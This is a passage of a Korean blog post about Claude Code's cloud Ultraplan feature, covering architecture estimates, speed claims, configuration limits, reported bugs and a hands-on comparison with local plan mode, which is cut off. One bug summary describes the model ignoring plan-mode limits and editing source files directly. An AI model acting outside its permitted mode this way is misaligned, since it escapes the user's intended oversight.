&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GitHub 연동과 대규모 리팩토링&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ultraplan이 특히 빛을 발하는 시나리오는 대규모 리팩토링이다. Claude Code의 Agent Teams 기능은 복잡한 작업을 서브태스크로 분해하고 병렬 서브에이전트를 스폰한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2040&quot; data-origin-height=&quot;1038&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2QXrT/dJMcabRjBbb/7Zs2kIyMOFBOBA8g6Jwj60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2QXrT/dJMcabRjBbb/7Zs2kIyMOFBOBA8g6Jwj60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2QXrT/dJMcabRjBbb/7Zs2kIyMOFBOBA8g6Jwj60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2QXrT%2FdJMcabRjBbb%2F7Zs2kIyMOFBOBA8g6Jwj60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2040&quot; height=&quot;1038&quot; data-origin-width=&quot;2040&quot; data-origin-height=&quot;1038&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 대형 코드베이스 리팩토링 시:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;에이전트 A: 데이터 모델 업데이트&lt;/li&gt;
&lt;li&gt;에이전트 B: 테스트 코드 재작성&lt;/li&gt;
&lt;li&gt;에이전트 C: 문서 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 작업이 동시에 진행된다. GitHub 연동을 통해 클라우드 컨테이너가 저장소에 접근하고, 결과를 브라우저에서 검토한 뒤 PR로 병합하는 워크플로우가 가능하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code GitHub Action&lt;/b&gt;: GitHub PR과 이슈에서 &lt;code&gt;@claude&lt;/code&gt;를 멘션하면 자동으로 Claude Code가 활성화되어 코드 변경을 구현할 수 있다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code-action&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 아키텍처 : 공개 정보 기반 추정&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 섹션은 공개된 소스코드 유출 분석, 공식 문서, 커뮤니티 역분석을 기반으로 한 추정이다. Anthropic이 공식적으로 확인한 내부 구현 상세가 아니다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;어떻게 클라우드에서 저장소에 접근하는가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에 따르면, 클라우드 세션은 GitHub remote에서 현재 브랜치를 클론하여 실행된다. 따라서 로컬에만 있는 커밋은 먼저 push해야 클라우드에서 접근할 수 있다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/claude-code-on-the-web&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code on the web 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GitHub 연동이 없는 저장소의 경우, 로컬 저장소를 번들로 패킹하여 클라우드에 업로드하는 폴백 메커니즘도 존재한다. 단, 번들 크기 100MB 제한이 있으며 untracked 파일은 포함되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;클라우드 세션과 병렬 에이전트 아키텍처&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에 따르면, 각 클라우드 세션은 격리된 Anthropic 관리 VM에서 실행되며, 리소스 상한은 약 4 vCPU / 16GB RAM / 30GB 디스크이다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/claude-code-on-the-web&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026-03-31 소스코드 유출 분석(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://techsy.io/blog/claude-code-leaked-features-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;참고&lt;/a&gt;)에서는 내부적으로 CCR(Cloud Container Runtime)이라는 용어, Opus 4.6 모델 사용, 최대 30분 실행 등이 언급되었으나, 이는 공식 문서에서 확인되지 않는 커뮤니티 역분석 결과이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라우드 환경에서 서브에이전트(Task tool)를 통한 병렬 처리가 가능한 것은 공식 문서에서 확인된다. 이것이 로컬 대비 처리 속도 향상의 원인으로 추정되지만, 구체적인 병렬화 수준은 공식적으로 공개되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;하네스 엔지니어링 패러다임&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqcuf7/dJMcaarmroP/CnxwTbKwSEMOF4EOK1zGi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqcuf7/dJMcaarmroP/CnxwTbKwSEMOF4EOK1zGi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqcuf7/dJMcaarmroP/CnxwTbKwSEMOF4EOK1zGi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcqcuf7%2FdJMcaarmroP%2FCnxwTbKwSEMOF4EOK1zGi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1094&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Prompt Engineering&lt;/b&gt;: 단일 프롬프트로 AI에게 요청&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Context Engineering&lt;/b&gt;: CLAUDE.md, Rules, Memory 등 컨텍스트를 설계하여 AI 동작 제어&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Harness Engineering&lt;/b&gt;: 여러 AI 에이전트를 오케스트레이션하는 시스템 설계&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 관점에서 Ultraplan은 하네스 엔지니어링의 실제 구현체다. 사용자는 단순히 Claude Code를 사용하는 것이 아니라, 클라우드 에이전트 하네스를 운용하는 엔지니어가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발표자료가 제안하는 2026 AI Developer OS 계층 구조는 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;계층&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;도구&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Overlord&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Ultraplan, Paperclip&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;최상위 오케스트레이션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Command&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code, Anti-gravity&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 에이전트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Logic&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MCP&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;도구 통합 레이어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Core&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Flutter, NestJS, TypeScript&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기반 기술 스택&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: Overlord가 목표를 정의하고, Command가 코드를 작성하고, Logic이 외부 도구를 연결하고, Core가 실제 결과물을 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 사용 경험과 커뮤니티 반응&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;속도: 얼마나 빠른가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국 커뮤니티(GeekNews 등)에서 바이럴된 포스팅 에서는 &quot;로컬 plan mode 5분 30초 vs Ultra Plan 30초 &amp;rarr; 약 11배 빠름&quot;을 주장했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #856404; font-weight: bold;&quot;&gt;⚠ 주의&lt;/span&gt;: 이 &quot;11배 빠르다&quot; 이 수치는 커뮤니티 포스트의 단일 사례에서 비롯된 것으로, 독립적으로 검증하지 못했다. 영문 기술 블로그들은 &quot;로컬 대비 약 2배 빠른 처리&quot;를 언급하고 있다. 실제 속도 향상은 작업 복잡도, 저장소 크기, 서버 부하에 따라 크게 달라질 수 있다. 직접 테스트로 확인하는 것이 권장된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 의미하는 바 : 속도 향상의 본질은 단순한 모델 성능 차이가 아니라, 클라우드 병렬 에이전트 아키텍처에 있다. 같은 작업을 여러 에이전트가 동시에 처리하기 때문에, 복잡한 작업일수록 속도 이점이 커진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커스텀 Skill 제한사항: 설계상 제약 + 버그&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공식 문서 기준 클라우드 세션에서의 설정 동기화&lt;/b&gt; (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/claude-code-on-the-web&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사용 가능&lt;/b&gt;: 프로젝트에 커밋된 &lt;code&gt;.claude/skills/&lt;/code&gt;, &lt;code&gt;.claude/agents/&lt;/code&gt;, &lt;code&gt;.claude/commands/&lt;/code&gt;, &lt;code&gt;.claude/rules/&lt;/code&gt;, &lt;code&gt;CLAUDE.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용 불가&lt;/b&gt;: 유저 레벨 &lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt;, &lt;code&gt;~/.claude/settings.json&lt;/code&gt;의 유저 스코프 플러그인, &lt;code&gt;claude mcp add&lt;/code&gt;로 추가한 MCP 서버&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, &lt;b&gt;프로젝트 저장소에 커밋된 skill과 커맨드는 클라우드에서 정상 작동한다.&lt;/b&gt; 작동하지 않는 것은 로컬 머신에만 존재하는 유저 레벨 설정이며, 이는 버그가 아닌 &lt;b&gt;설계상 제한&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 이와 별개로 GitHub Issues에 리포트된 실제 버그도 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GitHub Issues에는 세 가지 관련 버그가 리포트되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버그 1: 커스텀 커맨드/스킬 오작동 (v0.88+)&lt;/b&gt;&lt;br /&gt;v0.88 이후 버전에서 사용자 정의 커맨드와 스킬이 올바르게 로드되지 않거나 잘못된 커맨드를 호출하는 문제가 지속 리포트되고 있다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/41882&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #41882&lt;/a&gt;) 이는 토큰 낭비와 잘못된 동작으로 이어진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버그 2: Ultraplan 승인 후 Plan Mode 위반&lt;/b&gt;&lt;br /&gt;Ultraplan 결과를 승인한 후, 모델이 plan mode 제약을 무시하고 소스 파일을 직접 편집하는 버그가 존재한다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/43576&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #43576&lt;/a&gt;) 원래는 플랜 파일에 내용을 쓰고 ExitPlanMode를 호출해야 하지만, ultraplan 결과를 받은 후에는 이 규칙이 위반된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버그 3: 커스텀 슬래시 커맨드 미인식&lt;/b&gt;&lt;br /&gt;~/.claude/commands/ 디렉토리의 커스텀 슬래시 커맨드가 인식되지 않는 문제도 리포트되고 있다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/anthropics/claude-code/issues/41243&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #41243&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 의미하는 바: Ultraplan의 클라우드 환경은 저장소 클론에서 시작하므로, 저장소에 커밋되지 않은 유저 레벨 설정(&lt;code&gt;~/.claude/&lt;/code&gt;)은 접근할 수 없다. skill이나 커맨드를 클라우드에서 사용하려면, 반드시 프로젝트의 &lt;code&gt;.claude/&lt;/code&gt; 디렉토리에 커밋해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 결론: 언제 Ultraplan, 언제 로컬&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vyblor 포스트가 정리한 사용 지침은 다음과 같다: &quot;단순 코딩 &amp;rarr; Ultraplan, 커스텀 skill 활용 &amp;rarr; 로컬 유지&quot;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 기술적 현실에 기반한 실용적 판단이다. 현재 버그 상황에서 커스텀 skill 워크플로우는 로컬이 더 안정적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;직접 테스트: 로컬 Plan Mode vs Ultraplan 플랜 비교&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티 후기만으로는 판단이 어려워, 동일한 과제를 두 모드로 직접 실행해 비교했다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;/ultraplan vs 기존 /plan 모드&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일한 과제(&quot;autoimprove 파이프라인을 harness-blog-project에 적용&quot;)를 두 모드로 실행하여 직접 비교해봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. /ultraplan 수행&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1452&quot; data-origin-height=&quot;188&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qO5R5/dJMb9962ktX/nEqlKQ41Xu39e9aRhxu7MK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qO5R5/dJMb9962ktX/nEqlKQ41Xu39e9aRhxu7MK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qO5R5/dJMb9962ktX/nEqlKQ41Xu39e9aRhxu7MK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqO5R5%2FdJMb9962ktX%2FnEqlKQ41Xu39e9aRhxu7MK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1452&quot; height=&quot;188&quot; data-origin-width=&quot;1452&quot; data-origin-height=&quot;188&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;/ultraplan을 실행하면 클라우드에서 실행할지 확인하는 다이얼로그가 나타난다. 안내 내용은 다음과 같다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; margin: 10px 0 10px 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹에서 Claude의 플랜을 편집하고, 특정 부분에 댓글을 달 수 있는 인터랙티브 플래닝&lt;/li&gt;
&lt;li&gt;이 세션의 Remote Control이 해제됨 (두 기능이 같은 claude.ai/code 인터페이스를 점유하므로 동시 사용 불가)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Run ultraplan을 선택하면 클라우드 세션이 시작된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1704&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IfAoB/dJMcafzqFUP/95P04sYIfuVyi6twmCqSKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IfAoB/dJMcafzqFUP/95P04sYIfuVyi6twmCqSKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IfAoB/dJMcafzqFUP/95P04sYIfuVyi6twmCqSKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIfAoB%2FdJMcafzqFUP%2F95P04sYIfuVyi6twmCqSKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1704&quot; height=&quot;434&quot; data-origin-width=&quot;1704&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;원래라면 웹(claude.ai/code)에서 클라우드 에이전트들이 병렬로 작업을 처리해야 한다. 하지만 이번 테스트에서는 예상과 다른 상황이 발생했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;80&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqvEi1/dJMcaiCS39x/bUkCAOnqNMvfOWZ6aA0zR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqvEi1/dJMcaiCS39x/bUkCAOnqNMvfOWZ6aA0zR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqvEi1/dJMcaiCS39x/bUkCAOnqNMvfOWZ6aA0zR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqvEi1%2FdJMcaiCS39x%2FbUkCAOnqNMvfOWZ6aA0zR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;998&quot; height=&quot;80&quot; data-origin-width=&quot;998&quot; data-origin-height=&quot;80&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하필 테스트에 사용한 레포가 무거운 상태였다. 공식 문서에 따르면 비-GitHub 저장소는 bundle 방식(100MB 제한)으로 업로드되는데, 이 제한에 걸리면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;클라우드 전송에 실패하고 로컬에서 플래닝이 진행&lt;/b&gt;된다. 이 또한 실무에서 충분히 마주칠 수 있는 상황이므로 경험을 공유한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1778&quot; data-origin-height=&quot;276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JxIPr/dJMcagE7i11/KoEdR9xsKvqe4aR427gNDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JxIPr/dJMcagE7i11/KoEdR9xsKvqe4aR427gNDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JxIPr/dJMcagE7i11/KoEdR9xsKvqe4aR427gNDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJxIPr%2FdJMcagE7i11%2FKoEdR9xsKvqe4aR427gNDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1778&quot; height=&quot;276&quot; data-origin-width=&quot;1778&quot; data-origin-height=&quot;276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. /plan 모드로 수행&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비교를 위해 동일한 과제를 로컬 /plan 모드로도 실행했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1682&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HnegL/dJMcaciotBT/L3llARgMKB3a5gvxr8eSH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HnegL/dJMcaciotBT/L3llARgMKB3a5gvxr8eSH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HnegL/dJMcaciotBT/L3llARgMKB3a5gvxr8eSH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHnegL%2FdJMcaciotBT%2FL3llARgMKB3a5gvxr8eSH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1682&quot; height=&quot;670&quot; data-origin-width=&quot;1682&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 결과 비교&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
